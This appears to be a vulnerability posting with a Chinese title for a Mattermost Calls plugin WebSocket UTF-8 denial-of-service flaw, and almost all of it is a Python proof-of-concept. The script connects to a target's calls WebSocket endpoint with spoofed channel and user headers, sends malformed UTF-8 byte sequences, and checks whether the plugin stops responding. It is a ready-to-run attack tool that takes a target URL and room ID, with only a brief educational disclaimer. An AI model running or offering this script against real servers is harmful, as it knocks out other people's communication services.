CVE-2025-12689: Mattermost Calls插件WebSocket UTF-8格式验证拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-12689 PoC - Mattermost Calls Plugin WebSocket UTF-8 DoS Note: This is a demonstration PoC for educational purposes only. """ import asyncio import websockets import json import sys async def exploit_cve_2025_12689(target_url, room_id): """ Exploit CVE-2025-12689 by sending malformed UTF-8 WebSocket requests to crash the Mattermost Calls plugin. """ ws_url = target_url.replace('http', 'ws') + '/calls/ws' # Malformed UTF-8 sequences that can trigger parsing errors malformed_utf8_payloads = [ # Incomplete multi-byte sequence b'\xc0\x80', # Overlong encoding of NUL # Invalid continuation byte b'hello\xc0world', # Truncated sequence b'test\xe2\x82', # Missing third byte # Overlong encoding b'\xf0\x80\x80\x80', # Overlong encoding of NUL # Invalid surrogate b'\xed\xa0\x80\xed\xb0\x80', # Invalid surrogate pairs # BOM in wrong position b'\xbf\xfe\xff', # Invalid UTF-8 BOM combinations ] headers = { 'Channel-Id': room_id, 'User-Id': 'exploit-user', } try: async with websockets.connect(ws_url, extra_headers=headers) as ws: print(f"[+] Connected to {ws_url}") for i, payload in enumerate(malformed_utf8_payloads): print(f"[*] Sending malformed payload {i+1}/{len(malformed_utf8_payloads)}") await ws.send(payload) # Wait briefly for potential crash await asyncio.sleep(0.5) # Check if connection is still alive try: response = await asyncio.wait_for(ws.recv(), timeout=2) print(f"[+] Received response: {response}") except asyncio.TimeoutError: print(f"[!] No response received - plugin may be unresponsive") except Exception as e: print(f"[!] Connection error: {e}") print(f"[+] Potential successful DoS exploit!") return True except Exception as e: print(f"[-] Error: {e}") return False return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <room_id>") print(f"Example: {sys.argv[0]} https://mattermost.example.com abc123") sys.exit(1) target = sys.argv[1] room = sys.argv[2] print(f"[*] Starting CVE-2025-12689 exploit test") result = asyncio.run(exploit_cve_2025_12689(target, room)) if result: print("[+] Exploit completed - target may be vulnerable") else: print("[-] Exploit did not succeed")